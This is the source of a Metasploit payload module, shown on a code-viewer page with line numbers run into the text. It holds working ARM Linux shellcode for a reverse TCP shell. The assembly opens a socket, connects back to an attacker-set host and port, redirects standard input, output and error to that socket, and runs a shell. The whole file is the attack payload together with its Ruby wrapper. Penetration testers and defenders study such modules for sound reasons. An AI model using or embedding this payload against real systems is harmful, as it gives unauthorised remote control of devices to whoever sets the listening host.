Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/payloads/singles/linux/armle/shell_reverse_tcp.rb
Views: 11779
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##456module MetasploitModule78CachedSize = 172910include Msf::Payload::Single11include Msf::Payload::Linux12include Msf::Sessions::CommandShellOptions1314def initialize(info = {})15super(merge_info(info,16'Name' => 'Linux Command Shell, Reverse TCP Inline',17'Description' => 'Connect back to attacker and spawn a command shell',18'Author' => 'civ',19'License' => MSF_LICENSE,20'Platform' => 'linux',21'Arch' => ARCH_ARMLE,22'Handler' => Msf::Handler::ReverseTcp,23'Session' => Msf::Sessions::CommandShellUnix,24'Payload' =>25{26'Offsets' =>27{28'LHOST' => [ 136, 'ADDR' ],29'LPORT' => [ 134, 'n' ],30},31'Payload' =>32[33#### Tested successfully on:34# Linux 2.6.29.6-cm42 armv6l35# Linux 2.6.29.6-cyanogenmod armv6l36# Linux version 2.6.25-00350-g40fff9a armv5l37# Linux version 2.6.27-00110-g132305e armv5l38# Linux version 2.6.29-00177-g24ee4d2 armv5l39# Linux version 2.6.29-00255-g7ca5167 armv5l40#41# Probably requires process to have INTERNET permission42# or root.43####44# socket(2,1,6)450xe3a00002, # mov r0, #2 ; 0x2460xe3a01001, # mov r1, #1 ; 0x1470xe2812005, # add r2, r1, #5 ; 0x5480xe3a0708c, # mov r7, #140 ; 0x8c490xe287708d, # add r7, r7, #141 ; 0x8d500xef000000, # svc 0x000000005152# connect(soc, socaddr, 0x10)530xe1a06000, # mov r6, r0540xe28f1060, # 1dr r1, pc, #96 ; 0x60550xe3a02010, # mov r2, #16 ; 0x10560xe3a0708d, # mov r7, #141 ; 0x8d570xe287708e, # add r7, r7, #142 ; 0x8e580xef000000, # svc 0x000000005960# dup2(soc,0) @stdin610xe1a00006, # mov r0, r6620xe3a01000, # mov r1, #0 ; 0x0630xe3a0703f, # mov r7, #63 ; 0x3f640xef000000, # svc 0x000000006566# dup2(soc,1) @stdout670xe1a00006, # mov r0, r6680xe3a01001, # mov r1, #1 ; 0x1690xe3a0703f, # mov r7, #63 ; 0x3f700xef000000, # svc 0x000000007172# dup2(soc,2) @stderr730xe1a00006, # mov r0, r6740xe3a01002, # mov r1, #2 ; 0x2750xe3a0703f, # mov r7, #63 ; 0x3f760xef000000, # svc 0x000000007778# execve("/system/bin/sh", args, env)790xe28f0024, # add r0, pc, #36 ; 0x24800xe0244004, # eor r4, r4, r4810xe92d0010, # push {r4}820xe1a0200d, # mov r2, sp830xe28f4024, # add r4, pc, #36 ; 0x10840xe92d0010, # push {r4}850xe1a0100d, # mov r1, sp860xe3a0700b, # mov r7, #11 ; 0xb870xef000000, # svc 0x000000008889# <af>:90# port offset = 134, ip offset = 136910x04290002, # .word 0x5c110002 @ port: 4444 , sin_fam = 2920x0101a8c0, # .word 0x0101a8c0 @ ip: 192.168.1.193# <shell>:940x00000000, # .word 0x00000000 ; the shell goes here!950x00000000, # .word 0x00000000960x00000000, # .word 0x00000000970x00000000, # .word 0x0000000098# <arg>:990x00000000, # .word 0x00000000 ; the args!1000x00000000, # .word 0x000000001010x00000000, # .word 0x000000001020x00000000, # .word 0x00000000103104].pack("V*")105}106))107108# Register command execution options109register_options(110[111OptString.new('SHELL', [ true, "The shell to execute.", "/bin/sh" ]),112OptString.new('ARGV0', [ false, "argv[0] to pass to execve", "sh" ]) # mostly used for busybox113])114end115116def generate(_opts = {})117p = super118119sh = datastore['SHELL']120if sh.length >= 16121raise ArgumentError, "The specified shell must be less than 16 bytes."122end123p[140, sh.length] = sh124125arg = datastore['ARGV0']126if arg127if arg.length >= 16128raise ArgumentError, "The specified argv[0] must be less than 16 bytes."129end130p[156, arg.length] = arg131end132133p134end135end136137138